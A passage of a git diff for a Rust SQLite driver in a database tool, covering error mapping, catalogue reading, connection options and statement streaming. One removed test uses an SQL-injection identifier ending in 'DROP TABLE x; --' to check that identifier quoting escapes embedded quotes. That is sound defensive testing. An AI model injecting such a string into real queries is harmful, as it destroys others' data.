sqlx::Error::Io(_) => DriverError::ConnectionLost { - during: LossPhase::Statement, - }, - // Every connection in the pool is held by a longer write, so - // the database is busy rather than gone. - sqlx::Error::PoolTimedOut => DriverError::Busy, - sqlx::Error::PoolClosed | sqlx::Error::WorkerCrashed => DriverError::ConnectionLost { - during: LossPhase::Idle, - }, - sqlx::Error::ColumnDecode { index, source } => DriverError::Decode { - column: index, - detail: source.to_string(), - }, - other => DriverError::Protocol(other.to_string()), - } -} - -/// SQLite reports an extended result code whose low byte is the -/// primary one, which is what these branches turn on. -fn server_error(sqlite: &sqlx::sqlite::SqliteError) -> DriverError { - let diagnostics = diagnostics_of(sqlite); - match primary_code(sqlite) { - SQLITE_BUSY | SQLITE_LOCKED => DriverError::Busy, - SQLITE_READONLY => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), - SQLITE_INTERRUPT => DriverError::Cancelled, - _ => DriverError::reported(diagnostics), - } -} - -fn diagnostics_of(sqlite: &sqlx::sqlite::SqliteError) -> ServerDiagnostics { - use sqlx::error::DatabaseError; - - let extended = extended_code(sqlite); - ServerDiagnostics::new( - Some(ServerCode::Sqlite { - primary: extended & 0xff, - extended, - }), - sqlite.message().to_owned(), - ) -} - -fn extended_code(sqlite: &sqlx::sqlite::SqliteError) -> i32 { - use sqlx::error::DatabaseError; - - sqlite - .code() - .and_then(|code| code.parse::().ok()) - .unwrap_or(SQLITE_ERROR) -} - -fn primary_code(sqlite: &sqlx::sqlite::SqliteError) -> i32 { - extended_code(sqlite) & 0xff -} - -const SQLITE_ERROR: i32 = 1; -const SQLITE_BUSY: i32 = 5; -const SQLITE_LOCKED: i32 = 6; -const SQLITE_READONLY: i32 = 8; -const SQLITE_INTERRUPT: i32 = 9; -const SQLITE_CANTOPEN: i32 = 14; -const SQLITE_NOTADB: i32 = 26; - -#[cfg(test)] -mod tests { - use super::*; - use tempfile::TempDir; - - fn opts_for(path: &str) -> ConnectOptions { - ConnectOptions { - database: path.to_string(), - ..Default::default() - } - } - - #[tokio::test] - async fn driver_metadata() { - let d = SqliteDriver; - assert_eq!(d.id(), "sqlite"); - assert_eq!(d.display_name(), "SQLite"); - } - - #[tokio::test] - async fn connect_create_and_list_tables() { - let dir = TempDir::new().unwrap(); - let path = dir.path().join("test.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE foo (id INTEGER PRIMARY KEY, name TEXT)") - .await - .unwrap(); - conn.execute("INSERT INTO foo (name) VALUES ('a'), ('b'), ('c')") - .await - .unwrap(); - let tables = conn.list_tables().await.unwrap(); - assert_eq!(tables.len(), 1); - assert_eq!(tables[0].name, "foo"); - let cols = conn.fetch_columns(None, "foo").await.unwrap(); - assert_eq!(cols.len(), 2); - assert_eq!(cols[0].name, "id"); - assert!(cols[0].primary_key); - let result = conn.fetch_rows(None, "foo", 0, 100).await.unwrap(); - assert_eq!(result.columns.len(), 2); - assert_eq!(result.rows.len(), 3); - } - - #[tokio::test] - async fn fetch_rows_paginates() { - let dir = TempDir::new().unwrap(); - let path = dir.path().join("page.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE n (i INTEGER)").await.unwrap(); - for i in 1..=10 { - conn.execute(&format!("INSERT INTO n VALUES ({i})")).await.unwrap(); - } - let page = conn.fetch_rows(None, "n", 5, 3).await.unwrap(); - assert_eq!(page.rows.len(), 3); - } - - #[test] - fn quote_ident_doubles_embedded_quotes() { - assert_eq!(quote_ident("users"), "\"users\""); - assert_eq!(quote_ident("My Table"), "\"My Table\""); - assert_eq!( - quote_ident("evil\"; DROP TABLE x; --"), - "\"evil\"\"; DROP TABLE x; --\"" - ); - } - - #[tokio::test] - async fn fetch_rows_handles_table_with_embedded_quote() { - let dir = TempDir::new().unwrap(); - let path = dir.path().join("hostile.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE \"weird\"\"name\" (i INTEGER)") - .await - .unwrap(); - conn.execute("INSERT INTO \"weird\"\"name\" VALUES (1), (2)") - .await - .unwrap(); - let result = conn.fetch_rows(None, "weird\"name", 0, 100).await.unwrap(); - assert_eq!(result.rows.len(), 2); - } - - #[tokio::test] - async fn autoincrement_detected_via_sqlite_sequence() { - let dir = TempDir::new().unwrap(); - let path = dir.path().join("ai.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE t (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT)") - .await - .unwrap(); - // Insert at least one row so sqlite_sequence has an entry. - conn.execute("INSERT INTO t (name) VALUES ('a')").await.unwrap(); - let cols = conn.fetch_columns(None, "t").await.unwrap(); - assert!(cols[0].is_auto_increment, "AUTOINCREMENT id should be flagged"); - assert!(!cols[1].is_auto_increment, "name column should not be flagged"); - } - - #[tokio::test] - async fn integer_primary_key_no_autoincrement_is_rowid_alias() { - // INTEGER PRIMARY KEY without AUTOINCREMENT is still a rowid - // alias and auto-fills on insert. Should be flagged. - let dir = TempDir::new().unwrap(); - let path = dir.path().join("rowid.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, name TEXT)") - .await - .unwrap(); - let cols = conn.fetch_columns(None, "t").await.unwrap(); - assert!(cols[0].is_auto_increment); - } - - #[tokio::test] - async fn integer_primary_key_with_default_is_not_auto_increment() { - let dir = TempDir::new().unwrap(); - let path = dir.path().join("def.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE t (id INTEGER PRIMARY KEY DEFAULT 0, name TEXT)") - .await - .unwrap(); - let cols = conn.fetch_columns(None, "t").await.unwrap(); - assert!(!cols[0].is_auto_increment); - } - - #[tokio::test] - async fn composite_primary_key_no_auto_increment() { - let dir = TempDir::new().unwrap(); - let path = dir.path().join("composite.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE t (a INTEGER, b TEXT, PRIMARY KEY(a, b))") - .await - .unwrap(); - let cols = conn.fetch_columns(None, "t").await.unwrap(); - // Both members are part of the PK but neither auto-increments. - assert!(!cols[0].is_auto_increment); - assert!(!cols[1].is_auto_increment); - } - - #[tokio::test] - async fn column_named_autoincrement_substring_is_not_flagged() { - // Pre-fix bug: ddl_upper.contains("AUTOINCREMENT") would match - // a column named MYAUTOINCREMENT. Verify the canonical - // sqlite_sequence path doesn't fall for this. - let dir = TempDir::new().unwrap(); - let path = dir.path().join("substr.db"); - let driver = SqliteDriver; - let conn = driver.connect(opts_for(path.to_str().unwrap())).await.unwrap(); - conn.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, autoincrementflag INTEGER)") - .await - .unwrap(); - let cols = conn.fetch_columns(None, "t").await.unwrap(); - assert!(cols[0].is_auto_increment, "id is INTEGER PRIMARY KEY (rowid alias)"); - assert!(!cols[1].is_auto_increment, "non-PK INTEGER must not be flagged"); - } - - #[test] - fn normalize_default_value_strips_outer_quotes() { - assert_eq!(normalize_default_value("'pending'".into()), "pending"); - assert_eq!(normalize_default_value("'it''s'".into()), "it's"); - assert_eq!(normalize_default_value("0".into()), "0"); - assert_eq!(normalize_default_value("CURRENT_TIMESTAMP".into()), "CURRENT_TIMESTAMP"); - assert_eq!(normalize_default_value("'unbalanced".into()), "'unbalanced"); - } -} +//! The SQLite driver: one database file, one workspace connection, and +//! an editor session per tab on a connection of its own. + +mod autocommit; +mod capabilities; +mod catalog; +mod connection; +mod create_file; +mod deadline; +mod decode; +mod dialect; +mod driver; +mod editor_session; +mod encode; +mod errors; +mod foreign_key_verification; +mod index_sql; +mod interrupt; +mod metadata; +mod open; +mod result_stream; +mod sqlite_pooled; +mod sqlite_standalone; +mod write_batch; + +pub use catalog::{SQLITE_MIN_VERSION, SqliteVersion, check_runtime_version}; +pub use dialect::SqliteDialect; +pub use driver::{SqliteDriver, WORKSPACE_POOL_MAX_SIZE}; diff --git a/linux/crates/drivers/sqlite/src/metadata.rs b/linux/crates/drivers/sqlite/src/metadata.rs new file mode 100644 index 0000000000..87569d2bfc --- /dev/null +++ b/linux/crates/drivers/sqlite/src/metadata.rs @@ -0,0 +1,531 @@ +//! Reading the catalogue on a connection. +//! +//! `catalog` owns the SQL and what the rows mean. This runs it. + +use std::collections::BTreeMap; +use std::collections::btree_map::Entry; + +use sqlx::sqlite::{SqliteConnection as SqlxConnection, SqliteRow}; +use sqlx::{AssertSqlSafe, Row}; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::{ + ColumnDefinition, GeneratedColumn, PrimaryKeyConstraint, ReferentialAction, SchemaObjectKind, TableDefinition, + TableSource, +}; +use tablepro_core::meta::{ + EngineRowId, IndexInfo, IndexKey, ObjectInfo, ObjectKind, ObjectScope, RowCountEstimate, RowIdentity, SchemaInfo, + TableEstimate, TableRef, +}; +use tablepro_core::{DriverError, ForeignKeyInfo, ServerCode, ServerDiagnostics}; + +use crate::catalog::{ + self, InboundKeyRow, MAIN_SCHEMA, SchemaRow, SqliteColumnRow, TableFacts, foreign_key_name, generated_expressions, + inbound_foreign_keys, select_dependents, +}; +use crate::errors::{SQLITE_ERROR, map_error}; +use crate::index_sql::read_index_sql; + +/// What `pragma_table_list` and `pragma_table_xinfo` say about one +/// table, read together. +struct TableShape { + kind: String, + facts: TableFacts, + columns: Vec, +} + +impl TableShape { + fn visible_columns(&self) -> impl Iterator { + self.columns.iter().filter(|column| column.is_visible()) + } + + /// The primary key's columns, in key order. + fn primary_key(&self) -> Vec { + let mut keyed: Vec<&SqliteColumnRow> = self.columns.iter().filter(|column| column.pk > 0).collect(); + keyed.sort_by_key(|column| column.pk); + keyed.into_iter().map(|column| column.name.clone()).collect() + } +} + +pub(crate) async fn list_schemas(connection: &mut SqlxConnection) -> Result, DriverError> { + Ok(schema_names(connection) + .await? + .into_iter() + .map(|name| SchemaInfo { + is_default: name == MAIN_SCHEMA, + is_system: false, + name, + }) + .collect()) +} + +pub(crate) async fn list_objects( + connection: &mut SqlxConnection, + scope: &ObjectScope, +) -> Result, DriverError> { + let schemas = match scope { + ObjectScope::DefaultSchema => vec![MAIN_SCHEMA.to_owned()], + ObjectScope::Schema(schema) => vec![schema.clone()], + ObjectScope::AllSchemas => schema_names(connection).await?, + }; + let mut objects = Vec::new(); + for schema in schemas { + let rows = sqlx::query(AssertSqlSafe(catalog::objects_sql("e(&schema)))) + .fetch_all(&mut *connection) + .await + .map_err(map_error)?; + for row in rows { + let kind = match text(&row, "type")?.as_str() { + "view" => ObjectKind::View, + _ => ObjectKind::Table, + }; + objects.push(ObjectInfo { + schema: qualifier(&schema), + name: text(&row, "name")?, + kind, + }); + } + } + Ok(objects) +} + +pub(crate) async fn fetch_columns( + connection: &mut SqlxConnection, + table: &TableRef, +) -> Result, DriverError> { + let shape = table_shape(connection, table).await?; + Ok(shape + .visible_columns() + .map(|column| column.column_info(&shape.facts)) + .collect()) +} + +pub(crate) async fn fetch_indexes( + connection: &mut SqlxConnection, + table: &TableRef, +) -> Result, DriverError> { + let shape = table_shape(connection, table).await?; + indexes(connection, table, &shape).await +} + +pub(crate) async fn fetch_foreign_keys( + connection: &mut SqlxConnection, + table: &TableRef, +) -> Result, DriverError> { + let schema = schema_of(table); + let rows = sqlx::query(catalog::FOREIGN_KEY_LIST_SQL) + .bind(table.name.as_str()) + .bind(schema) + .fetch_all(&mut *connection) + .await + .map_err(map_error)?; + let mut keys: BTreeMap = BTreeMap::new(); + for row in rows { + let id: i64 = row.try_get("id").map_err(map_error)?; + let to: Option = row.try_get("to").map_err(map_error)?; + let (key, to_primary) = match keys.entry(id) { + Entry::Occupied(entry) => entry.into_mut(), + Entry::Vacant(entry) => entry.insert(( + ForeignKeyInfo { + name: foreign_key_name(&table.name, id), + columns: Vec::new(), + ref_schema: table.schema.clone(), + ref_table: text(&row, "table")?, + ref_columns: Vec::new(), + on_delete: referential_action(&text(&row, "on_delete")?), + on_update: referential_action(&text(&row, "on_update")?), + }, + false, + )), + }; + key.columns.push(text(&row, "from")?); + match to { + Some(to) => key.ref_columns.push(to), + None => *to_primary = true, + } + } + let mut resolved = Vec::with_capacity(keys.len()); + for (mut key, to_primary) in keys.into_values() { + // A key that names no parent columns points at the parent's + // primary key. + if to_primary { + let parent = TableRef::new(table.schema.clone(), key.ref_table.clone()); + key.ref_columns = table_shape(connection, &parent).await?.primary_key(); + } + resolved.push(key); + } + Ok(resolved) +} + +/// How a row can be named again: the primary key, else a unique index +/// over NOT NULL columns covering every row, else the rowid. +pub(crate) async fn row_identity( + connection: &mut SqlxConnection, + table: &TableRef, +) -> Result { + let shape = table_shape(connection, table).await?; + // A view has no rowid and no key, and a virtual table's rowid is + // whatever its module makes of it. + if shape.kind != "table" { + return Ok(RowIdentity::Unordered); + } + let primary_key = shape.primary_key(); + if !primary_key.is_empty() { + return Ok(RowIdentity::UniqueKey { columns: primary_key }); + } + let not_null: Vec<&str> = shape + .columns + .iter() + .filter(|column| column.not_null) + .map(|column| column.name.as_str()) + .collect(); + let unique = indexes(connection, table, &shape).await?.into_iter().find(|index| { + index.can_identify_rows() + && index + .key_columns() + .iter() + .all(|column| not_null.iter().any(|name| name.eq_ignore_ascii_case(column))) + }); + if let Some(index) = unique { + return Ok(RowIdentity::UniqueKey { + columns: index.key_columns(), + }); + } + // A column of that name hides the rowid behind it. + let shadowed = shape + .columns + .iter() + .any(|column| column.name.eq_ignore_ascii_case("rowid")); + if shape.facts.without_rowid || shadowed { + return Ok(RowIdentity::Unordered); + } + Ok(RowIdentity::EngineRowId(EngineRowId::SqliteRowid)) +} + +/// The row count ANALYZE last saw, where it ran. +pub(crate) async fn table_estimate( + connection: &mut SqlxConnection, + table: &TableRef, +) -> Result { + let schema = quote(schema_of(table)); + let unknown = TableEstimate { + rows: RowCountEstimate::Unknown, + heap_blocks: None, + }; + if !has_table(connection, &schema, "sqlite_stat1").await? { + return Ok(unknown); + } + let stat: Option = sqlx::query_scalar(AssertSqlSafe(catalog::statistics_sql(&schema))) + .bind(table.name.as_str()) + .fetch_optional(&mut *connection) + .await + .map_err(map_error)? + .flatten(); + let rows = stat + .as_deref() + .and_then(|stat| stat.split_whitespace().next()) + .and_then(|first| first.parse::().ok()); + Ok(match rows { + Some(rows) => TableEstimate { + rows: RowCountEstimate::Approximate(rows), + heap_blocks: None, + }, + None => unknown, + }) +} + +pub(crate) async fn fetch_table_definition( + connection: &mut SqlxConnection, + table: &TableRef, +) -> Result { + let shape = table_shape(connection, table).await?; + let schema_sql = quote(schema_of(table)); + let create_statement: Option = sqlx::query(AssertSqlSafe(catalog::object_sql(&schema_sql))) + .bind(table.name.as_str()) + .fetch_optional(&mut *connection) + .await + .map_err(map_error)? + .map(|row| row.try_get::, _>("sql")) + .transpose() + .map_err(map_error)? + .flatten(); + + let expressions = match ( + &create_statement, + shape.columns.iter().any(|c| c.generated_storage().is_some()), + ) { + (Some(create), true) => generated_expressions(create), + _ => Default::default(), + }; + let columns = shape + .visible_columns() + .map(|column| { + let mut attributes = column.attributes(&shape.facts); + attributes.generated = column + .generated_storage() + .zip(expressions.get(&column.name).cloned()) + .map(|(storage, expression)| GeneratedColumn { expression, storage }); + ColumnDefinition::new(column.column_info(&shape.facts), attributes) + }) + .collect(); + let key_columns = shape.primary_key(); + let primary_key = (!key_columns.is_empty()).then(|| PrimaryKeyConstraint { + name: None, + columns: key_columns.clone(), + }); + let indexes = indexes(connection, table, &shape).await?; + let foreign_keys = fetch_foreign_keys(connection, table).await?; + + let inbound_rows = sqlx::query(AssertSqlSafe(catalog::inbound_keys_sql(&schema_sql))) + .bind(table.name.as_str()) + .bind(schema_of(table)) + .fetch_all(&mut *connection) + .await + .map_err(map_error)? + .iter() + .map(|row| { + Ok(InboundKeyRow { + child: text(row, "child")?, + id: row.try_get("id").map_err(map_error)?, + from: text(row, "from")?, + to: row.try_get("to").map_err(map_error)?, + }) + }) + .collect::, DriverError>>()?; + let inbound = inbound_foreign_keys(table.schema.as_deref(), inbound_rows, &key_columns); + + let source = match create_statement { + Some(create_statement) => Some(TableSource { + create_statement, + dependents: dependents(connection, &schema_sql, &table.name).await?, + }), + None => None, + }; + + Ok(TableDefinition { + table: table.clone(), + columns, + primary_key, + indexes, + foreign_keys, + inbound_foreign_keys: inbound, + source, + }) +} + +async fn dependents( + connection: &mut SqlxConnection, + schema_sql: &str, + table: &str, +) -> Result, DriverError> { + let rows = sqlx::query(AssertSqlSafe(catalog::dependents_sql(schema_sql))) + .fetch_all(&mut *connection) + .await + .map_err(map_error)?; + let mut schema_rows = Vec::with_capacity(rows.len()); + for row in rows { + let kind = match text(&row, "type")?.as_str() { + "index" => SchemaObjectKind::Index, + "trigger" => SchemaObjectKind::Trigger, + _ => SchemaObjectKind::View, + }; + schema_rows.push(SchemaRow { + kind, + name: text(&row, "name")?, + table: text(&row, "tbl_name")?, + sql: text(&row, "sql")?, + }); + } + Ok(select_dependents(table, schema_rows)) +} + +async fn indexes( + connection: &mut SqlxConnection, + table: &TableRef, + shape: &TableShape, +) -> Result, DriverError> { + let schema = schema_of(table); + let schema_sql = quote(schema); + let list = sqlx::query(catalog::INDEX_LIST_SQL) + .bind(table.name.as_str()) + .bind(schema) + .fetch_all(&mut *connection) + .await + .map_err(map_error)?; + let mut indexes = Vec::with_capacity(list.len() + 1); + for entry in list { + let name = text(&entry, "name")?; + let unique: i64 = entry.try_get("unique").map_err(map_error)?; + let partial: i64 = entry.try_get("partial").map_err(map_error)?; + let primary = text(&entry, "origin")? == "pk"; + let stored_sql: Option = sqlx::query_scalar(AssertSqlSafe(catalog::index_sql(&schema_sql))) + .bind(name.as_str()) + .fetch_optional(&mut *connection) + .await + .map_err(map_error)? + .flatten(); + let parsed = stored_sql.as_deref().and_then(read_index_sql); + let key_rows = sqlx::query(catalog::INDEX_XINFO_SQL) + .bind(name.as_str()) + .bind(schema) + .fetch_all(&mut *connection) + .await + .map_err(map_error)?; + let mut keys = Vec::with_capacity(key_rows.len()); + for (position, key) in key_rows.iter().enumerate() { + let cid: i64 = key.try_get("cid").map_err(map_error)?; + let descending = key.try_get::("desc").map_err(map_error)? != 0; + let column: Option = key.try_get("name").map_err(map_error)?; + keys.push(match (cid, column) { + (-2, _) => IndexKey::Expression { + sql: parsed + .as_ref() + .and_then(|parsed| parsed.keys.get(position).cloned()) + .unwrap_or_default(), + descending, + }, + (-1, _) => IndexKey::Column { + name: "rowid".to_owned(), + descending, + }, + (_, column) => IndexKey::Column { + name: column.unwrap_or_default(), + descending, + }, + }); + } + let predicate = match partial { + 0 => None, + _ => parsed.and_then(|parsed| parsed.predicate), + }; + indexes.push(IndexInfo { + name, + keys, + unique: unique != 0, + primary, + predicate, + }); + } + // An INTEGER PRIMARY KEY is the rowid itself and has no index of its + // own, but the structure tab still shows the key. + let key_columns = shape.primary_key(); + if !indexes.iter().any(|index| index.primary) && !key_columns.is_empty() { + indexes.push(IndexInfo { + name: "PRIMARY".to_owned(), + keys: key_columns + .into_iter() + .map(|name| IndexKey::Column { + name, + descending: false, + }) + .collect(), + unique: true, + primary: true, + predicate: None, + }); + } + Ok(indexes) +} + +async fn table_shape(connection: &mut SqlxConnection, table: &TableRef) -> Result { + let schema = schema_of(table); + let listed = sqlx::query(catalog::TABLE_LIST_SQL) + .bind(table.name.as_str()) + .bind(schema) + .fetch_optional(&mut *connection) + .await + .map_err(map_error)?; + let Some(listed) = listed else { + return Err(no_such_table(schema, &table.name)); + }; + let kind = text(&listed, "type")?; + let without_rowid = listed.try_get::("wr").map_err(map_error)? != 0; + let strict = listed.try_get::("strict").map_err(map_error)? != 0; + + let columns = sqlx::query(catalog::TABLE_XINFO_SQL) + .bind(table.name.as_str()) + .bind(schema) + .fetch_all(&mut *connection) + .await + .map_err(map_error)? + .iter() + .map(SqliteColumnRow::from_row) + .collect::, _>>()?; + let single_column_key = columns.iter().filter(|column| column.pk > 0).count() == 1; + let mut facts = TableFacts { + strict, + without_rowid, + autoincrement: false, + single_column_key, + }; + if columns.iter().any(|column| column.is_rowid_alias(&facts)) { + facts.autoincrement = autoincrement(connection, schema, &table.name).await?; + } + Ok(TableShape { kind, facts, columns }) +} + +async fn autoincrement(connection: &mut SqlxConnection, schema: &str, table: &str) -> Result { + let schema_sql = quote(schema); + if !has_table(connection, &schema_sql, "sqlite_sequence").await? { + return Ok(false); + } + let rows: i64 = sqlx::query_scalar(AssertSqlSafe(catalog::sequence_sql(&schema_sql))) + .bind(table) + .fetch_one(&mut *connection) + .await + .map_err(map_error)?; + Ok(rows > 0) +} + +async fn has_table(connection: &mut SqlxConnection, schema_sql: &str, name: &str) -> Result { + let found: i64 = sqlx::query_scalar(AssertSqlSafe(catalog::has_table_sql(schema_sql))) + .bind(name) + .fetch_one(&mut *connection) + .await + .map_err(map_error)?; + Ok(found > 0) +} + +async fn schema_names(connection: &mut SqlxConnection) -> Result, DriverError> { + sqlx::query_scalar(catalog::DATABASE_LIST_SQL) + .fetch_all(&mut *connection) + .await + .map_err(map_error) +} + +fn schema_of(table: &TableRef) -> &str { + table + .schema + .as_deref() + .filter(|schema| !schema.is_empty()) + .unwrap_or(MAIN_SCHEMA) +} + +/// `main` is where an unqualified name already resolves, so its objects +/// carry no schema. +fn qualifier(schema: &str) -> Option { + (schema != MAIN_SCHEMA).then(|| schema.to_owned()) +} + +fn quote(name: &str) -> String { + format!("\"{}\"", name.replace('"', "\"\"")) +} + +fn text(row: &SqliteRow, column: &str) -> Result { + row.try_get(column).map_err(map_error) +} + +fn referential_action(keyword: &str) -> Option { + ReferentialAction::ALL + .into_iter() + .find(|action| action.as_sql().eq_ignore_ascii_case(keyword.trim())) +} + +fn no_such_table(schema: &str, name: &str) -> DriverError { + DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::Sqlite { + primary: SQLITE_ERROR, + extended: SQLITE_ERROR, + }), + format!("no such table: {schema}.{name}"), + )) +} diff --git a/linux/crates/drivers/sqlite/src/open.rs b/linux/crates/drivers/sqlite/src/open.rs new file mode 100644 index 0000000000..7a5ead0d59 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/open.rs @@ -0,0 +1,55 @@ +use std::path::Path; +use std::time::Duration; + +use sqlx::ConnectOptions as _; +use sqlx::sqlite::SqliteConnectOptions; + +/// How every connection to the file opens: the workspace's, each editor +/// session's and a streamed read's. +/// +/// The path is a file name, never a URL, so `?` and `%41` in it are +/// part of the name. A missing file is an error rather than a new empty +/// database: creating one is `create_file`'s job, and only when the +/// user asked for a new database. +/// +/// `busy_timeout` is the workspace's lock timeout, which is how long +/// SQLite waits for another connection's lock before it reports busy. +pub(crate) fn connect_options(path: &Path, read_only: bool, busy_timeout: Duration) -> SqliteConnectOptions { + SqliteConnectOptions::new() + .filename(path) + .create_if_missing(false) + .read_only(read_only) + .busy_timeout(busy_timeout) + .foreign_keys(true) + // A schema in a file from elsewhere cannot run SQL functions + // with side effects through a view or a trigger. + .pragma("trusted_schema", "OFF") + // sqlx's cache keeps a statement's columns from its first prepare, + // and SQLite re-prepares it with more after an ALTER TABLE: the + // worker then reads past the old list and panics. + .statement_cache_capacity(0) + // sqlx would log every statement, values and all. + .disable_statement_logging() +} + +#[cfg(test)] +mod tests { + use sqlx::Connection as _; + use sqlx::sqlite::SqliteConnection as SqlxConnection; + + use super::*; + + #[tokio::test] + async fn options_never_create_for_open_existing() { + let directory = tempfile::tempdir().unwrap(); + let missing = directory.path().join("missing.sqlite3"); + + for read_only in [false, true] { + let options = connect_options(&missing, read_only, Duration::from_secs(1)); + let opened = SqlxConnection::connect_with(&options).await; + + assert!(opened.is_err(), "a missing file opened with read_only={read_only}"); + assert!(!missing.exists(), "opening created the file with read_only={read_only}"); + } + } +} diff --git a/linux/crates/drivers/sqlite/src/result_stream.rs b/linux/crates/drivers/sqlite/src/result_stream.rs new file mode 100644 index 0000000000..744519e667 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/result_stream.rs @@ -0,0 +1,311 @@ +//! Running statements and handing their rows on. +//! +//! Each statement is prepared first, which gives its columns before any +//! row arrives, so a SELECT that finds nothing still has a header and a +//! statement without columns is known to be a command. The read that +//! follows hits the same cached statement, so nothing is compiled twice. + +use std::sync::Arc; + +use futures::TryStreamExt; +use sqlx::sqlite::{SqliteColumn, SqliteConnection as SqlxConnection}; +use sqlx::{AssertSqlSafe, Column, Executor, SqlSafeStr, Statement as _, TypeInfo}; +use tablepro_core::column::{ColumnType, ResultColumn}; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptTokenKind}; +use tablepro_core::statement::{BoundParam, Statement}; +use tablepro_core::value::Value; +use tablepro_core::{DriverError, QueryResult, ResultEvent, ResultSink, RowLimit, SinkFlow, Truncation}; + +use crate::catalog::{result_column_type, storage_class_type}; +use crate::decode::decode_row; +use crate::encode::bind_all; +use crate::errors::map_error; + +/// How many rows travel in one `Rows` event: enough that a large read +/// is not one await per row, few enough that the first rows show at +/// once. +const ROWS_PER_EVENT: usize = 256; + +/// What a run of statements did. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub(crate) struct StreamOutcome { + pub rows: u64, + /// The sink stopped reading, so the rest of the run was skipped. + pub consumer_gone: bool, + result_sets: usize, +} + +/// A read the app built, kept to `limit` rows. +pub(crate) async fn collect( + connection: &mut SqlxConnection, + statement: &Statement, + limit: Option, +) -> Result { + let sql = statement.sql().to_owned(); + let mut columns = prepare(connection, &sql).await?; + let query = bind_all(sqlx::query(AssertSqlSafe(sql)), statement.params())?; + let mut rows = Vec::new(); + let mut truncated = false; + let mut stream = query.fetch(&mut *connection); + while let Some(row) = stream.try_next().await.map_err(map_error)? { + if limit.is_some_and(|limit| u64::try_from(rows.len()).is_ok_and(|kept| kept >= limit.get())) { + truncated = true; + break; + } + rows.push(decode_row(&row)); + } + drop(stream); + if let Some(first) = rows.first() { + resolve(&mut columns, first); + } + Ok(QueryResult::new(finish(columns), rows).truncated(truncated)) +} + +/// The single number a count query returned. +pub(crate) async fn count(connection: &mut SqlxConnection, statement: &Statement) -> Result { + let result = collect(connection, statement, RowLimit::new(1)).await?; + match result.cell(0, 0) { + Some(Value::Int(count)) => { + u64::try_from(*count).map_err(|_| DriverError::Protocol(format!("a row count of {count}"))) + } + other => Err(DriverError::Protocol(format!("a row count read as {other:?}"))), + } +} + +/// Run SQL the user wrote, one statement after another, until one fails +/// or the sink stops reading. +pub(crate) async fn run_script( + connection: &mut SqlxConnection, + sql: &str, + limit: Option, + sink: &mut dyn ResultSink, +) -> Result { + let mut outcome = StreamOutcome::default(); + for statement in split_statements(sql) { + run_statement(connection, statement, &[], limit, sink, &mut outcome).await?; + if outcome.consumer_gone { + break; + } + } + Ok(outcome) +} + +/// Run a read the app built, every row of it. +pub(crate) async fn run_bound( + connection: &mut SqlxConnection, + statement: &Statement, + sink: &mut dyn ResultSink, +) -> Result { + let mut outcome = StreamOutcome::default(); + run_statement( + connection, + statement.sql(), + statement.params(), + None, + sink, + &mut outcome, + ) + .await?; + Ok(outcome) +} + +/// The statements of a script, split where SQLite itself would end one +/// (a trigger body's semicolons do not end it). Text the splitter +/// cannot finish, such as an unterminated string, goes to SQLite whole +/// so the error is SQLite's own. +pub(crate) fn split_statements(sql: &str) -> Vec<&str> { + let plan = ScriptPlan::build( + sql, + SqlGrammar::Sqlite, + LexicalSettings::default_for(SqlGrammar::Sqlite), + ); + if !plan.diagnostics().is_empty() { + return vec![sql]; + } + plan.statements().iter().map(|statement| statement.text(sql)).collect() +} + +/// Whether SQLite's change count describes this statement. It counts +/// only INSERT, UPDATE and DELETE, and after anything else still holds +/// the count of the last one of those. +pub(crate) fn reports_changes(sql: &str) -> bool { + let plan = ScriptPlan::build( + sql, + SqlGrammar::Sqlite, + LexicalSettings::default_for(SqlGrammar::Sqlite), + ); + let first = plan + .tokens(0..sql.len()) + .find(|token| !token.kind.is_trivia()) + .filter(|token| token.kind == ScriptTokenKind::Word) + .and_then(|token| sql.get(token.range)); + first.is_some_and(|word| { + ["INSERT", "UPDATE", "DELETE", "REPLACE", "WITH"] + .iter() + .any(|keyword| word.eq_ignore_ascii_case(keyword)) + }) +} + +async fn run_statement( + connection: &mut SqlxConnection, + sql: &str, + params: &[BoundParam], + limit: Option, + sink: &mut dyn ResultSink, + outcome: &mut StreamOutcome, +) -> Result<(), DriverError> { + let mut columns = prepare(connection, sql).await?; + let query = bind_all(sqlx::query(AssertSqlSafe(sql.to_owned())), params)?; + if columns.is_empty() { + let done = query.execute(&mut *connection).await.map_err(map_error)?; + let rows_affected = reports_changes(sql).then(|| done.rows_affected()); + outcome.consumer_gone = gone(sink.accept(ResultEvent::CommandCompleted { rows_affected }).await); + return Ok(()); + } + + let set_index = outcome.result_sets; + outcome.result_sets += 1; + let started = ResultEvent::ResultSetStarted { + columns: shared(&columns), + }; + if gone(sink.accept(started).await) { + outcome.consumer_gone = true; + return Ok(()); + } + + let mut stream = query.fetch(&mut *connection); + let mut batch: Vec> = Vec::with_capacity(ROWS_PER_EVENT); + let mut retained = 0u64; + let mut truncation = Truncation::Complete; + while let Some(row) = stream.try_next().await.map_err(map_error)? { + if limit.is_some_and(|limit| retained >= limit.get()) { + truncation = Truncation::ReadPastLimit; + break; + } + let values = decode_row(&row); + if retained == 0 && columns.iter().any(|column| column.column_type.is_none()) { + resolve(&mut columns, &values); + let resolved = ResultEvent::ColumnsResolved { + set_index, + columns: 